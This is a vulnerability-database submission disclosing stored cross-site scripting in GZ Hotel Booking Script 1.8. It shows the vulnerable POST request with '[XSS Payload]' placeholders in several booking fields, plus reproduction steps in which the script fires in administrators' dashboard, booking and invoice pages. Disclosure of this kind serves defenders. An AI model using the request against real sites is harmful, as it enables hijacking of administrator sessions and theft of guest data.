| Title | GZ Hotel Booking Script 1.8 - Stored XSS |
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| Description | Author : skalvin aka (CraCkEr)
Date : 30/06/2023
Website : https://gzscripts.com/php-gz-hotel-booking-script.html
Vendor : GZ Scripts
Software : GZ Hotel Booking Script 1.8
Vuln Type: Stored XSS
Impact : Manipulate the content of the site
Release Notes:
Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.
## Stored XSS
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POST /PHPGZHotelBooking/load.php?controller=GzFront&action=booking_details HTTP/1.1
first_name=[XSS Payload]&second_name=[XSS Payload]&phone=[XSS Payload]&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload]&city=xxx&state=xxx&zip=xxx&country=[XSS Payload]&additional=xxx&terms=1&date_range=29.06.2023+-+30.06.2023&date_to=30.06.2023&date_from=29.06.2023&adults=1&children=1&order=&sort=&fromNumber=&toNumber=&room_id%5B4%5D=1&room_id%5B3%5D=0&room_id%5B2%5D=0&room_id%5B1%5D=0&adults_arr%5B4%5D%5B1%5D=1&children_arr%5B4%5D%5B1%5D=1
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POST parameter 'first_name' is vulnerable to XSS
POST parameter 'second_name' is vulnerable to XSS
POST parameter 'phone' is vulnerable to XSS
POST parameter 'address_1' is vulnerable to XSS
POST parameter 'country' is vulnerable to XSS
## Steps to Reproduce:
1. As a [Guest User] Choose any [Room] for Booking
2. Inject your [XSS Payload] in "Last Name"
3. Inject your [XSS Payload] in "Phone"
4. Inject your [XSS Payload] in "Address Line 1"
5. Inject your [XSS Payload] in "Country"
6. Accept with terms & Press [Booking]
XSS Fired on Local User Browser
7. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)
XSS Will Fire and Executed on his Browser
8. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)
XSS Will Fire and Executed on his Browser
9. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php?controller=GzInvoice&action=index)
[-] Done |
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| User | skalvin (UID 49463) |
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| Submission | 06/29/2023 23:57 (3 years ago) |
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| Moderation | 07/08/2023 15:20 (9 days later) |
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| Status | Accepted |
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| VulDB entry | 233355 [GZ Scripts PHP GZ Hotel Booking Script 1.8 /load.php first_name/second_name/phone/address_1/country cross site scripting] |
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| Points | 17 |
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